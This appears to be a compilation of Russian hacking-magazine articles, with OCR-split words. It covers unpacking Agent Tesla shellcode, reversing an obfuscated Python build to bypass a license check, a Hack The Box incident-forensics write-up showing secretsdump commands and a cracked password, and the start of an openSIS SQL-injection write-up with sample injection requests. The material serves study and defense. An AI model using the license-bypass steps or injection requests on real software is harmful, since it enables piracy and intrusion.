что бы попасть сюда, и цикл, который ксо рит дан ные по клю чу, рас шифро- 
вывая их, и вызов , который выпол няет рас шифро ван ный код. Я

снаб дил лис тинг под робны ми ком мента риями, что бы была понят на логика.

VirtualAlloc

(*_Dst)();

INFO

Ра зуме ется, тех же резуль татов мы смог ли бы
дос тичь, исполь зуя отладчик, но я захотел
показать, как это мож но сде лать, не вылезая
из дизас сем бле ра и исполь зуя толь ко ста тичес- 
кий ана лиз.

Так, фун кции дешиф ровки и ее логика локали зова ны, теперь пот ребу ется
динами ка! Рас чехля ем отладчик x86dbg, что бы извлечь наш рас шифро ван ный
шелл-код в отдель ный файл.

Âûòàñêèâàåì øåëë-êîä îòäåëüíûì ôàéëîì
Что бы вытащить рас шифро ван ный шелл-код, нам нуж но запус тить файл
в отладчи ке. Из фай ла скрип та NSIS пом ним, что для кор рек тно го запус ка
в наш exe’шник нуж но передать в качес тве аргу мен та файл pgkayd.aq. Все
это мож но нас тро ить пря мо в интерфей се x86dbg.

Нас тра иваем запуск вре доно са в x86dbg

Те перь уста нав лива ем точ ку оста нова на VirtualAlloc и запус каем ся. Таким
обра зом мы прос кочим анти отладку и про вер ку аргу мен та, который
помешал бы нам нор маль но запус тить ся (потому что аргу мент мы запол нили
на пре дыду щем шаге), и оста новим ся на VirtualAlloc. Далее ее необ ходимо
выпол нить до ret, завер шив работу фун кции. Наб люда ем сле дующую кар тину:
в EAX у нас хра нит ся адрес выделен ной VirtualAlloc памяти, которую мы прос- 
матри ваем в окне дам па. Мы зна ем, что рас шифров ка пой дет в этот буфер,
поэто му ста вим точ ку оста нова по дос тупу на начало буфера, ожи дая там
появ ления дан ных. Пос ле это го зашиф рован ный код ско пиру ется в буфер,
и мы уви дим это в окне дам па.

Сос тояние Agent Tesla перед дешиф ровкой в x86dbg

С уче том зна ний, получен ных на эта пе ста тичес кого ана лиза, мы зна ем, что
сле дом пос ле копиро вания зашиф рован ных дан ных в буфер идет его рас- 
шифров ка. Ста вим бряк сра зу пос ле цик ла рас шифров ки и видим, как дан ные
в буфере изме нились. Теперь, дизас сем бли ровав их вруч ную (Follow
in Disassembler в x86dbg), мож но убе дить ся, что это осмыслен ный код.

Цикл рас шифров ки и вызов шелл-кода в Agent Tesla

Как вид но на скри не, мы приш ли к тому, что шелл-код пол ностью рас шифро- 
ван и готов выпол нять ся. Теперь нам нуж но его сох ранить в отдель ный файл,
что бы про дол жить иссле дова ния поз днее. Вызыва ем коман ду Follow
in Memory Map из кон текс тно го меню дам па и переме щаем ся к кар те памяти.

Кар та памяти Agent Tesla

Да лее жмем Dump Memory to File в кон текс тном меню и тем самым сох раня- 
ем выделен ную память. Обра ти вни мание на пра ва этой области памяти —
ERW (то же, что RWX), говоря щие о том, что память готова выпол нить ся (крас- 
ный флаг для анти виру са!). Получен ный дамп мож но будет заг рузить как файл
в Ghidra для даль нейших иссле дова ний. Единс твен ная заг воз дка в том, что
нуж но вруч ную выб рать парамет ры ана лиза в дизас сем бле ре.

Заг рузка получен ного шелл-кода в Ghidra

Так как изна чаль ный файл был 32-бит ный и соб ран в Visual Studio, такие же
парамет ры выбира ем для шелл-кода.

ÂÛÂÎÄÛ

Итак, в этой статье мы дос таточ но мно гому научи лись: разоб рались с NSIS-
скрип том, спра вились с рас паков кой, рас шифро вали шелл-код и сох ранили
нашу работу. И про дела ли это все в Ghidra (и в x86dbg), изба вив себя
от необ ходимос ти исполь зовать плат ную IDA Pro.

mailto:xtahi0nix@gmail.com
https://xakep.ru/2019/03/21/ghidra-vs-crackme/
https://nsis.sourceforge.io/Can_I_decompile_an_existing_installer%3F
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ВЗЛОМ

Ре верс-инже неру далеко не всег да уда ется
без тру да иссле довать написан ные
на Python при ложе ния. Раз работ чики уме ют
хра нить свои тай ны, исполь зуя обфуска- 
цию, шиф рование, кас томный мар шалинг
и собс твен ные интер пре тато ры. Но для
любого зам ка оты щет ся отмычка: сегод ня
мы раз берем ся, как ревер сить такие прог- 
раммы, научим ся вос ста нав ливать
исходный код и узна ем, как соз дать для них
собс твен ный дизас сем блер.

Мы уже  о рас простра нен ных спо собах защиты исходно го кода Python
от реверс-инжи нирин га и прин ципах их обхо да. В сегод няшней статье я про- 
дол жу эту тему и рас ска жу об осо бен ностях ревер са кас томной нес тандар- 
тной реали зации Python-интер пре тато ра.

пи сали

WARNING

Статья написа на в иссле дова тель ских целях, име- 
ет озна коми тель ный харак тер и пред назна чена
для спе циалис тов по безопас ности. Автор
и редак ция не несут ответс твен ности за любой
вред, при чинен ный с при мене нием изло жен ной
информа ции. Исполь зование или рас простра- 
нение ПО без лицен зии про изво дите ля может
прес ледовать ся по закону.

В качес тве при мера возь мем некое при ложе ние для ней росете вой обра бот- 
ки видео с нехоро шей осо бен ностью: при ложе ние про веря ет лицен зию
на уда лен ном сер вере при выпол нении всех более-менее полез ных фун кций.
Если про вер ка завер шает ся успешно, оно про дол жает работать офлайн, что
дает нам надеж ду на воз можность запус кать прог рамму без под клю чения
к интерне ту.

То, что это клас сичес кое Python-при ложе ние, вид но с пер вого взгля да,
даже без запус ка Detect It Easy.

Пос коль ку рядом с исполня емым модулем лежат питонов ские биб лиоте ки,
а под катало ги запол нены фай лами с рас ширени ем , никаких сом нений
в исполь зовании Python не оста ется. Что это за фай лы и с чем их едят, я под- 
робно рас ска зывал в статье «

». В двух сло вах пояс ню для тех, кто не читал эту пуб ликацию: упо- 
мяну тые бинар ные фай лы содер жат пре ком пилиро ван ный байт-код, подава- 
емый непос редс твен но на вход интер пре тато ра для уско рения обра бот ки.
В этой же статье при веде ны и извес тные деком пилято ры и дизас сем бле ры
фай лов подоб ного фор мата (uncompyle6, pycdc, pydasm...).

.pyc

Зме иная ана томия. Вскры ваем и пот рошим
PyInstaller

На этой опти мис тичной ноте мож но было бы и закон чить статью, но нет.
Нес мотря на валид ный заголо вок .pyc-фай ла с сиг натурой вер сии 3.10
(выделе но крас ным), ни один из стан дар тных деком пилято ров или дизас сем- 
бле ров не ест такие фай лы, выдавая ошиб ку типа 

. При прос мотре фай ла в HEX-редак торе мы видим,

что он весь, собс твен но, и сос тоит из явно зашиф рован ного объ екта нес- 
тандар тно го типа (выделе но жел тым, ).

CreateObject: Got 
unsupported type 0x5D

0xDD & 0x7F = 0x5D

На лицо явно кас томная нес тандар тная питонов ская реали зация, бла го, как я
уже говорил, исходный код Python в сети при сутс тву ет, и нет ничего слож ного
подог нать его под свои нуж ды. По счастью, шиф рование здесь исполь зует ся
явно не шиб ко взрос лое. На скрин шоте прос лежива ется пов торя ющий ся
через каж дые 16 байт шаб лон, который, похоже, наложен опе раци ей XOR
на исходный код и мес тами прог лядыва ет на мес те нулевых пос ледова тель- 
нос тей.

По искав в натив ных биб лиоте ках явный фраг мент такого шаб лона (нап- 
ример, ), мы тут же натыка емся в фай ле  на шаб- 

лон (выделе но крас ным) и код, рас шифро выва ющий дан ные сра зу пос ле чте- 
ния из фай ла.

25 02 39 04 python311.dll

Чуть поиг равшись с отладчи ком x64dbg, мы обна ружи ваем и мес то вызова
это го кода: 

, начиная с которо го в отладчи ке мож- 

но сле дить за рас шифров кой и интер пре таци ей байт-кода.

Py_Main -> PyRun_SimpleFileObject -> 
PyMarshal_ReadLastObjectFromFile

Поп робу ем для начала добить ся какой-то более-менее понят ной деком- 
пиляции .pyc-фай лов. Для это го напишем прос тень кий рас шифров щик, рас- 
ксо рива ющий объ ект  получен ной мас кой. Бла года ря это му исходный

файл уда ется при вес ти в гораз до более чита емый вид.

0x5D

К сожале нию, этот код, хоть и силь но похож на нас тоящий, все рав но
не работа ет. На этот раз вылеза ет ошиб ка 

. У меня воз никло силь ное подоз рение на нес тандар тный мар- 

шалинг объ ектов внут ри .pyc-фай ла.

CreateObject: Got unsupported
type 0x0

По счастью, сре ди мно жес тва фай лов пакета при сутс тву ют и стан дар тные
биб лиоте ки (нап ример, ), которые име ются в нор маль но откомпи- 

лиро ван ном виде ана логич ной вер сии.

base64.pyc

Сле ва — обыч ный base64.pyc, спра ва — рас шифро ван ный

Сра зу вид но, что побай товое срав нение этих фай лов — пло хая идея, раз ница
в коде на пер вый взгляд прос то чудовищ ная. Начать с того, что даже по раз- 
меру стан дар тным обра зом откомпи лиро ван ный  поч ти в два раза
мень ше рас шифро ван ного. Тем не менее с ходу замет но, что изна чаль ная
гипоте за о нес тандар тном мар шалин ге ока залась вер ной: в рас шифро ван- 
ном фай ле как минимум отсутс тву ет 32-бит ное поле 
(выделе но крас ным).

base64.pyc

kwOnlyArgCount

Слег ка поборов пер вичный ужас, прис тупа ем к решению проб лемы.
Берем за осно ву упо мяну тый  пакет  и, дизас сем бли руя
им исходный и рас шифро ван ный , пыта емся най ти раз ницу.

в моей статье pycdc
base64.pyc

За заг рузку объ екта  здесь отве чает метод 

 модуля . Сра зу уби раем
сле дующую конс трук цию:

code void PycCode::load(
PycData* stream, PycModule* mod) pyc_code.cpp

   if (mod->majorVer() >= 3)
         m_kwOnlyArgCount = stream->get32();

   else
         m_kwOnlyArgCount = 0;

Это дает нам зна читель ный прог ресс в иссле дова нии объ екта. Не буду при- 
водить всю рутину тес тов, проб и оши бок, в ходе которых выяс няет ся, что все
не так уж и страш но. Кро ме опи сан ного выше поля, кас томный фор мат отли- 
чает ся, по сути, толь ко положе нием пос ледова тель нос тей 
и . Поп равив их, мы получа ем вер сию , дизас сем бли- 

рующую байт-код без оши бок. Но тут нас сно ва ждет облом, пос коль ку вос- 
ста нов ленный код выг лядит при мер но так:

freeVars
cellVars pycdas.exe

...
[Names]
   'os'
   'system'
   'name'
   'print'
   'advanced_entry_message'
   'simple_entry_message'
[Var Names]
   'mode'
[Free Vars]
[Cell Vars]
[Constants]
   None
   'nt'
   'cls'
   'clear'
[Disassembly]
   0       <INVALID>
        2       LOAD_GLOBAL 1: system
   4       <INVALID>
   6       <INVALID>
   8       <INVALID>
   10      <INVALID>
   12      <INVALID>
    14      LOAD_ATTR      1: system
   16      <INVALID>
   18      <INVALID>
   20      <INVALID>
   22      <INVALID>
        24      LOAD_GLOBAL 0: os
   26      <INVALID>
   28      <INVALID>
   30      <INVALID>
   32      <INVALID>
   34      <INVALID>
    36      LOAD_ATTR      2: name
...

То есть клас сы, стро ки, методы и про чие эле мен ты вос ста нав лива ются вро- 
де бы пра виль но, одна ко сам байт-код не рас кодиру ется, хотя даже аргу мен- 
ты команд выг лядят похожи ми на пра виль ные.

Ви димо, и тут нам прог раммис ты под ложили свинью — помимо кас томно- 
го мар шалин га, нам под сунули еще и кас томную сис тему команд, отли- 
чающуюся от стан дар тной 3.10 и даже 3.11.

Но и это прис кор бное откры тие нас не оста нав лива ет, ведь в пре дыду щей
статье мы уже научи лись искать интер пре татор байт-кода. Вот и здесь мы
быс тро находим его, нап ример внут ри фун кции ._PyEval_EvalFrameDefault

Прав да, это нам не силь но помога ет. К сожале нию, мне мони ки новых команд
в интер пре татор не встро ены, поэто му для вос созда ния пол нофун кци ональ-
ного дизас сем бле ра нам пред сто ит про верить 181 обра бот чик команд, све- 
рив их с преж ними таб лицами опко дов из фай лов 

и . Затем при дет ся соз дать новую таб лицу, при чем даже
количес тво команд тут не сов пада ет. Задача доволь но мутор ная, хотя
и исполни мая. Име ет смысл довес ти ее до кон ца в слу чае, если нам тре бует- 
ся пол ностью вос ста новить исходни ки прог раммы. Если же нуж но прос то
най ти и поп равить опре делен ное мес то в коде, все гораз до про ще: дос таточ- 
но нащупать коман ды  и условные-безус ловные перехо ды. Тем более что

 у нас на пре дыду щем скрин шоте идет пер вой коман дой (опкод ).
Для пат ча теперь надо толь ко отыс кать нуж ное мес то (через исправ ленный
дизас сем блер), отре дак тировать его и заново перек сорить по шаб лону.

python_3_10.cpp
python_3_11.cpp

NOP
NOP 0x53

За дача написать пол ный дизас сем блер или деком пилятор, конеч но, силь- 
но избы точ на для разово го пат ча кон крет ного спе цифи чес кого при ложе ния,
но сегод няшний при мер может пос лужить осно вой для допили вания сущес- 
тву юще го деком пилято ра по мере выхода новых вер сий Python. А выходят они
регуляр но.

https://xakep.ru/2023/08/15/pyinstall-reverse/
https://xakep.ru/2023/08/15/pyinstall-reverse/
https://xakep.ru/2023/08/15/pyinstall-reverse/
https://github.com/zrax/pycdc
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ВЗЛОМ

Се год ня мы будем учить ся ана лизи ровать
логи Windows и смот реть пол ную информа- 
цию о фай ле в таб лице MFT. Это поможет
нам вос ста новить пос ледова тель ность дей- 
ствий зло умыш ленни ка в сис теме и рас- 
крыть его ник нейм.

Пло щад кой для упражне ний нам пос лужит задание  c ресур са 
.

Jinkies Hack
The Box Sherlocks

По сце нарию задания компь ютер ная ата ка про изош ла 6 октября
в инфраструк туре стар тапа Cloud-Guru-Management Ltd, где раз рабаты вают
некий про дукт. Извес тно, что поль зователь взло ман ного компь юте ра слу чай- 
но пре дос тавил общий дос туп к сво ей пап ке Documents, а так же утвер жда ет,
что в этот день его не было за компь юте ром. Генераль ный дирек тор Cloud-
Guru-Management 6 октября получил устные сооб щения о том, что интеллек- 
туаль ная собс твен ность ком пании была укра дена. Коман да реаги рова ния
на инци ден ты соб рала арте фак ты опе раци онной сис темы взло ман ного
компь юте ра с помощью ути литы . Наша задача — про вес ти рас сле дова- 
ние инци ден та и вос ста новить кар тину взло ма ресур са.

KAPE

ÈÑÏÎËÜÇÓÅÌÛÅ ÓÒÈËÈÒÛ

 — инс тру мент для быс тро го ана лиза логов, осно ван ный

на пра вилах Sigma.

• Hayabusa

 — ути лита Nirsoft для ана лиза событий. Она поз воля ет

филь тро вать логи по датам, иден тифика торам событий, а так же по клю- 
чевым сло вам. Что бы исполь зовать этот инс тру мент, дос таточ но ука зать
каталог с фай лами .

• FullEventLogView

evtx

 — пар сер таб лицы MFT фай ловой сис темы NTFS.• MFTECmd

 — инс тру мент для прос мотра базы дан ных
SQLite, необ ходим при ана лизе исто рии бра узе ра Chrome.

• DB Browser for SQLite

 — ути лита для прос мотра кус тов реес тра Windows.• Registry Explorer

ÈÑÑËÅÄÎÂÀÍÈÅ

Заг рузим файл архи ва задания и прис тупим к иссле дова нию арте фак тов.
В фай ле архи ва содер жатся сле дующие дан ные: каталог ,

в котором рас положе ны соб ранные фай ловые арте фак ты опе раци онной сис- 
темы; каталог , содер жащий спи сок запущен ных про цес сов;
информа ция о сис теме и мно го дру гих волатиль ных дан ных.

TriageData

LiveResponse

Что бы получить инфу об иссле дуемом компь юте ре, откро ем файл
. Имя иссле дуемо го компь юте ра —

, уста нов лена опе раци онная сис тема Windows 10 Pro. Из фай ла

 получим сетевые нас трой ки интерфей са, IP-адрес хос- 

та 192.168.157.144, IP-адрес шлю за 192.168.157.2, DHCP-сер- 
вер 192.168.157.254.

LiveResponse\Systeminfo.csv
VELMAD100
ipconfig.txt

Нам извес тно, что компь ютер ный инци дент про изо- 
шел 6 октября 2023 года. Про ана лизи руем все события опе раци онной сис- 
темы за этот день. Откро ем ути литу FullEventLogView и заг рузим логи, рас- 
положен ные по такому пути:

Jinkies_KAPE_output/TriageData/C/Windows/system32/winevt/ 

За тем выс тавим филь тр по дате (Options → Advanced Options) и прис тупим
к ана лизу.

Пер вым делом про ана лизи руем сооб щения о событи ях авто риза ции
в сис теме и запус ка про цес сов. На иссле дуемом хос те уста нов лена служ ба
Sysmon (сис темный монитор) — эта ути лита раз работа на в Microsoft для рас- 
ширен ного ауди та Windows. Sysmon пре дос тавля ет под робную информа цию
об активнос ти сис темы на уров не про цес сов и сети. Под робная информа ция
о каж дом иден тифика торе событий есть в .до кумен тации Microsoft

В FullEventLogView откро ем вклад ку Options → Advanced Options → Show
only specied event IDs и вве дем сле дующие иден тифика торы событий:

4624 — событие вхо да в сис тему, нам инте ресен тип вхо да и источник
авто риза ции;

•

4648 — вход в сис тему с явным ука зани ем аутен тифика цион ных дан ных;•
4672 — сеан су вхо да наз начены спе циаль ные при виле гии;•
4625 — ошиб ка вхо да в сис тему;•
1149 — событие опи сыва ет приз нак вхо да в сис тему по про токо лу RDP;
такое событие регис три рует ся при под клю чении источни ка к хос ту;

•

21 — успешный вход поль зовате ля в сеанс RDP;•
24 — отклю чение сеан са RDP;•
1 (жур нал событий Sysmon) — событие соз дания про цес са, содер жит под- 
робную информа цию о соз данном про цес се: хеш, коман да запус ка и так
далее;

•

3 (жур нал Sysmon) — событие сетево го под клю чения регис три рует TCP-
и UDP-соеди нения.

•

В 17:15 зафик сирова но событие с иден тифика тором 4624, тип вхо да 3
(сетевой вход) с хос та 192.168.157.151, с исполь зовани ем учет ных дан ных
поль зовате ля Velma.

Да лее в 17:16:09 зафик сирован отказ дос тупа к обще му ресур су 

, источник — адрес 192.168.157.151.

C:\Users\
Velma\Documents

Мы зафик сирова ли сетевой вход с IP-адре са 192.168.157.151, а так же дос туп
к общим катало гам на иссле дуемом компь юте ре. В клю че реес тра

 кус та  рас положе ны

име на общих катало гов и пути к ним. Давай заг лянем в этот ключ с помощью
ути литы Registry Explorer.

ControlSet001\Services\LanmanServer\Shares SYSTEM

Со дер жимое клю ча реес тра LanmanServer

На иссле дуемом компь юте ре есть общие дирек тории 

 и .

C:\Users\Velma\
Documents C:\Users

Так же по пути, при веден ному ниже, рас положе ны дес крип торы безопас- 
ности, то есть раз решения для дос тупа к общим катало гам.

ControlSet001\Services\LanmanServer\Shares\Security 

Выг рузим бинар ный вид дес крип торов и пре обра зуем в фор мат SDDL (стро- 
ка с опи сани ем прав дос тупа).

Би нар ный вид дес крип тора безопас ности

На пишем для это го неболь шой скрипт на PowerShell.

  $Documents = [byte]0x01,0x0,0x04,0x80,0x30,0x0,0x0,0x0,0x40,0x0,0x0,
0x0,0x0,0x0,0x0,0x0,0x14,0x0,0x0,0x0,0x02,0x0,0x1C,0x0,0x01,0x0,0x0,
0x0,0x0,0x0,0x14,0x0,0xA9,0x0,0x12,0x0,0x01,0x01,0x0,0x0,0x0,0x0,0x0,
0x01,0x0,0x0,0x0,0x0,0x01,0x02,0x0,0x0,0x0,0x0,0x0,0x05,0x20,0x0,0x0,
0x0,0x20,0x02,0x0,0x0,0x01,0x05,0x0,0x0,0x0,0x0,0x0,0x05,0x15,0x0,
0x0,0x0,0xC8,0x99,0x9C,0xCE,0x9E,0xC8,0x69,0x4E,0x77,0x79,0xD4,0x8F,
0x01,0x02,0x0,0x0 

 $converter = new-object system.management.ManagementClass Win32_
SecurityDescriptorHelper 

  $outsddl = $converter.BinarySDToSDDL($Documents)

По луча ем сле дующий вид SDDL для катало га :Documents

O:BAG:S-1-5-21-3466369480-1315555486-2413066615-513D:(A;;0x1200a9;;;
WD) 

Под робное опи сание этой струк туры есть в статье «
».

Как смот реть SDDL и не
ломать гла за о точ ки с запяты ми

Для пре обра зова ния в чита емый вид вос поль зуем ся .кон верте ром SDDL

Пре обра зова ние SDDL

Как вид но из работы кон верте ра, все поль зовате ли могут получить дос туп
к обще му сетево му ресур су .C:\Users\Velma\Documents

Те перь пос мотрим содер жимое обще го катало га 

. Мое вни мание прив лек файл , рас положен ный

по сле дующе му адре су:

TriageData\C\Users\
Velma\Documents bk_db.idb

web server Python Scripts + things\web server project\testing\logon 
website\bk 

Здесь содер жатся учет ные записи поль зовате лей. Давай вытащим их
при помощи ути литы strings.

strings bk_db.idb > users.txt 

Со дер жимое фай ла bk_db.idb

В фай ле  отыс калось 216 поль зовате лей.bk_db.idb
Срав ним пароль най ден ного поль зовате ля Velma и NT-хеш из реес тра.

Для это го счи таем кус ты реес тра ,  и  с помощью

secretsdump.

SAM SYSTEM SECURITY

secretsdump.py -system Jinkies_KAPE_output/TriageData/C/Windows/
system32/config/SYSTEM -sam Jinkies_KAPE_output/TriageData/C/Windows/
system32/config/SAM -security Jinkies_KAPE_output/TriageData/C/
Windows/system32/config/SECURITY LOCAL 

NT-хеш поль зовате ля Velma

Вот NT-хеш поль зовате ля Velma:

967452709ae89eaeef4e2c951c3882ce 

Он соот ветс тву ет паролю .peakTwins2023fc
Мы на дан ный момент уста нови ли, что зло умыш ленник получил дос туп

к фай лу, содер жащему аутен тифика цион ные дан ные поль зовате лей. Ско рее
все го, он прод вигал ся даль ше, поэто му и мы про дол жим ана лизи ровать
события Windows.

В 17:17:23 6 октября 2023 года зафик сирован успешный вход поль зовате- 
ля Velma по про токо лу RDP с хос та 192.168.157.151.

Ус пешный вход поль зовате ля Velma

Тип вхо да 10 события с иден тифика тором 4624 говорит о под клю чении
по RDP.

Зло умыш ленник успешно авто ризо вал ся на хос те. Что бы уста новить, что
он делал даль ше, нам нуж но про ана лизи ровать запуск исполня емых прог- 
рамм. В логах Sysmon нас инте ресу ют события с иден тифика тором 1.

В 17:17:45 зло умыш ленник выпол нил коман ду  из коман дной обо- 

лоч ки cmd.exe.

whoami

За пуск коман ды whoami

В 17:17:52 зло умыш ленник получил информа цию об общих сетевых ресур сах,
выпол нив коман ды  и .net group net users

В 17:18:41 поль зователь Velma запус тил бра узер, выпол нив .chrome.exe

За пуск бра узе ра Chrome

В 17:21:44 зло умыш ленник открыл файл 

 с помощью ути литы .

Version-1.0.1 - TERMINAL LOGIN.
py notepad.exe

От кры тие фай ла

В 17:23:51 зло умыш ленник получил дос туп к фай лу 

. Под робную информа цию об этом фай ле пос мотрим
чуть поз же.

C:\Users\Velma\
Pictures\learn.txt

От кры тие фай ла learn.txt

Вос ста новим исто рию бра узе ра Chrome. Для это го заг рузим в 
 вот этот файл:

DB Browser for
SQLite

C/Users/Velma/Appdata/Local/Google/Chrome/User Data/Default/History 

Пе рехо дим на вклад ку «Дан ные» и выбира ем таб лицу . Теперь жмем пра- 

вой кноп кой мыши на поле  и пре обра зуем фор мат вре- 
мени в сле дующий:

urls
last_visit_time

  datetime((time/1000000)-11644473600, 'unixepoch', 'localtime')

Пре обра зова ние фор мата

Ис тория зап росов

В 17:19:56 зло умыш ленник перешел на ресурс , который исполь зует- 
ся зло умыш ленни ками для рас простра нения кода и кра жи докумен тов. Поп- 
робу ем най ти выг ружен ный зло умыш ленни ком файл.

Pastes.io

Зай дем на , откро ем вклад ку Archive → Python, отсчи таем
количес тво месяцев от дня кра жи фай ла и нашего иссле дова ния и поп робу ем
най ти документ с име нем .

Pastes.io

leaked docs cloud guru mgmt

Наз вание укра ден ного фай ла

Со дер жимое докумен та

Зло умыш ленник похитил файл , и нам
уда лось получить  на заг ружен ную им вер сию это го докумен та.

Version-1.0.1 - TERMINAL LOGIN.py
ссыл ку

Ра ботая в RDP-сес сии, зло умыш ленник откры вал файл ,

в котором оста вил какие-то дан ные о себе. Давай про ана лизи руем таб лицу
MFT, най дем дату соз дания и под робную информа цию о фай ле.

learn.txt

Файл learn.txt в MFT-таб лице

Файл learn.txt соз дан зло умыш ленни ком в 17:23:46 6 октября 2023 года
и име ет иден тифика тор 78533. Мы можем получить все детали записи о фай- 
ле в MFT-таб лице при помощи ути литы MFTECmd. В качес тве аргу мен та (

) ука жем номер 78533.

--
de

.\MFTECmd.exe -f "Jinkies_KAPE_output\TriageData\C\MFT" --de 78533 

Де таль ная информа ция о фай ле learn.txt в таб лице MFT

В поле  содер жится ник зло умыш ленни ка , а так же некото- 

рые дру гие дан ные.

DATA pwnmaster12

ÂÛÂÎÄÛ

Мы про вели рас сле дова ние инци ден та. Ком про мета ция хос та про изош- 
ла 6 октября 2023 года в 17:17:23, зло умыш ленник зашел с хос та в локаль ной
сети (IP-адрес 192.168.157.1519) от име ни поль зовате ля Velma. Аутен- 
тифика цион ные дан ные зло умыш ленник получил в резуль тате небезо пас ной
нас трой ки обще го сетево го ресур са  и сох ранил

в файл  в откры том виде. Так же мы наш ли путь эксфиль тра ции фай- 
ла, вос ста нови ли запись в таб лице MFT о соз данном зло умыш ленни ком фай- 
ле и обна ружи ли ник нейм наруши теля.

C/Users/Velma/Documents
bk_db.idb
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ВЗЛОМ

В этой статье мы с тобой раз берем нес- 
коль ко видов SQL-инъ екций на боевом
при мере — при ложе нии openSIS, в коде
которо го я нашел нес коль ко серь езных
проб лем. Если ты хочешь научить ся обна- 
ружи вать потен циаль ные проб лемы в коде
на PHP, этот матери ал дол жен стать живой
иллюс тра цией. Осо бен но она будет полез- 
на нович кам, которые хотят разоб рать ся
с темой SQLi.

INFO

Ес ли ты вдруг не в кур се, как вооб ще работа ют
SQL-инъ екции, спе циаль но для тебя написа на
статья «

».
SQL-инъ екции. Раз бира ем на паль цах

одну из самых популяр ных хакер ских тех ник

openSIS — это бес плат ная и откры тая информа цион ная сис тема для учеб ных
заведе ний, дос тупная для школ и выс ших учеб ных заведе ний. Она раз работа- 
на и под держи вает ся ком пани ей .Open Solutions for Education

Я уста новил это при ложе ние локаль но, что поз волило мне видеть все зап- 
росы, отправ ляемые им в базу дан ных. Дру гими сло вами, тес тирова ние про- 
води лось методом белого ящи ка: зна ние кода и струк туры дан ных поз волило
тща тель но изу чить, как обра баты вает ся то, что ввел поль зователь, и как фор- 
миру ются SQL-зап росы.

Я искал те мес та в коде, где ввод под став ляет ся в SQL-зап рос без дол- 
жной про вер ки и чис тки (валида ции и санити зации). Давай пос мотрим, что
мне уда лось най ти.

WARNING

Статья име ет озна коми тель ный харак тер и пред- 
назна чена для спе циалис тов по безопас ности,
про водя щих тес тирова ние в рам ках кон трак та.
Автор и редак ция не несут ответс твен ности
за любой вред, при чинен ный с при мене нием
изло жен ной информа ции. Рас простра нение вре- 
донос ных прог рамм, наруше ние работы сис тем
и наруше ние тай ны перепис ки прес леду ются
по закону.

ËÎÃÈÐÎÂÀÍÈÅ

Пер вым делом нам пот ребу ется нас тро ить логиро вание зап росов к базе дан- 
ных. То есть нам нуж но записы вать выпол няемые зап росы к базе, что бы
потом по ним мож но было пос мотреть, как прог рамма реаги рова ла на то, что
поль зователь вво дил на сай те. Это поможет нам наг ляднее уви деть проб- 
лемы и вос поль зовать ся ими.

В MySQL или MariaDB для вклю чения логиро вания нуж но выпол нить сле- 
дующее:
1. Соз дать файл  в дирек тории .mysql.log /var/log/mysql

2. Изме нить пра ва на файл или пап ку и пре дос тавить раз решения поль- 
зовате лю mysql:

chown mysql:mysql /var/log/mysql -R

3. Открыть файл с нас трой ками MySQL/MariaDB, обыч но рас положен ный в 

 или .

/
etc/mysql/my.cnf /etc/my.cnf

4. Най ти сек цию  (если ее нет, добавить самос тоятель но).[mysqld]
5. Добавить или рас коммен тировать сле дующие стро ки для вклю чения

логиро вания зап росов:

  general_log = 1
  general_log_file = /var/log/mysql/mysql.log

6. Переза пус тить сер вис MySQL/MariaDB, что бы изме нения всту пили в силу.

ÍÅÌÍÎÃÎ Î SQLI

За бегая впе ред, ска жу, что мы най дем (но не будем экс плу ати ровать) «сле- 
пые» SQL-инъ екции. В отли чие от дру гих форм SQLi, сле пые SQL-инъ екции
не рас кры вают дан ные нап рямую и тре буют тон кого под хода к извле чению
дан ных. Сле пые SQL-инъ екции делят ся на две основные катего рии: на осно- 
ве булевых зна чений и на осно ве вре мени.

В булевой сле пой SQLi мы изме няем SQL-зап рос так, что бы сис тема воз- 
вра щала булево зна чение — то есть ответ на то, истинно выраже ние или лож- 
но. Этот тип ата ки исполь зует бинар ную при роду отве тов: содер жимое
веб-стра ницы или код отве та HTTP будет изме нять ся в зависи мос ти
от истиннос ти внед ренно го зап роса. Нап ример, изме нение зап роса может
при вес ти к тому, что какие-то эле мен ты на веб-стра нице будут появ лять ся
и исче зать в зависи мос ти от того, истинны ли резуль таты зап роса (усло вие
сущес тву ет в базе дан ных) или лож ны (его нет).

Вре мен ные сле пые SQL-инъ екции более скрыт ны. Здесь мы внед ряем
SQL-коман ды, которые зас тавля ют базу дан ных задумать ся чуть доль ше
обыч ного, и исполь зуем это, что бы вытащить из нее дан ные. Отсутс твие визу- 
аль ной обратной свя зи на стра нице дела ет эти ата ки осо бен но труд ными
для обна руже ния. Если усло вие зап роса истинно, ответ базы дан ных
намерен но задер жива ется, и отсутс твие задер жки озна чает «ложь». Изме ряя
вре мя отве та, мы можем опре делить наличие или отсутс твие кон крет ных дан- 
ных в базе.

ÍÅÀÓÒÅÍÒÈÔÈÖÈÐÎÂÀÍÍÛÅ SQLI

При поис ке багов в при ложе нии ты дол жен ори енти ровать ся в пер вую оче- 
редь на уяз вимос ти, которые не тре буют аутен тифика ции поль зовате ля, так
как они самые опас ные. Я нашел две похожие SQL-инъ екции в раз деле «Сту- 
дент» в фун кци ях, отве чающих за вос ста нов ление име ни поль зовате ля
и пароля.

Я отпра вил два зап роса: пер вый, ими тируя работу фор мы Forgot Password,
вто рой — Forgot Username.

Forgot Password:

POST /openSIS/ResetUserInfo.php HTTP/1.1 
Host: 192.168.147.131 
Content-Type: application/x-www-form-urlencoded 
User-Agent: Mozilla/5.0 

pass_user_type=pass_student&pass_type_form=password&password_stn_
id=XSS&uname=aaaaa&month_password_dob=04&day_password_dob=25&year_
password_dob=2024&pass_email=bbbbb&password_stf_email=ccccc&
TOKEN=697a3d1713a51879a79ee08052d4683c68d78a1c776f606e32e92127d04c33e
5 

Forgot Username:

POST /openSIS/ResetUserInfo.php HTTP/1.1 
Host: 192.168.147.131 
Content-Type: application/x-www-form-urlencoded 
User-Agent: Mozilla/5.0 

uname_user_type=uname_student&user_type_form=username&username_stn_
id=XSS&pass=aaaaaaa&month_username_dob=04&day_username_dob=30&year_
username_dob=2024&un_email=&username_stf_email=&
TOKEN=bf2278f6caffbf561127ce91c29849fdff3b9add9d88dcd7118f8cf1fca807b
5&
save=Confirm 

Вот в какие SQL-зап росы это тран сфор мирова лось:

        Query SELECT s.* FROM students s,login_authentication la
   WHERE la.USER_ID=s.STUDENT_ID AND la.USERNAME='aaaaa'

     AND s.BIRTHDATE='2024-04-25' AND s.STUDENT_ID=XSS AND la.PROFILE_ID=
3

        Query SELECT la.PASSWORD FROM students s,login_authentication la
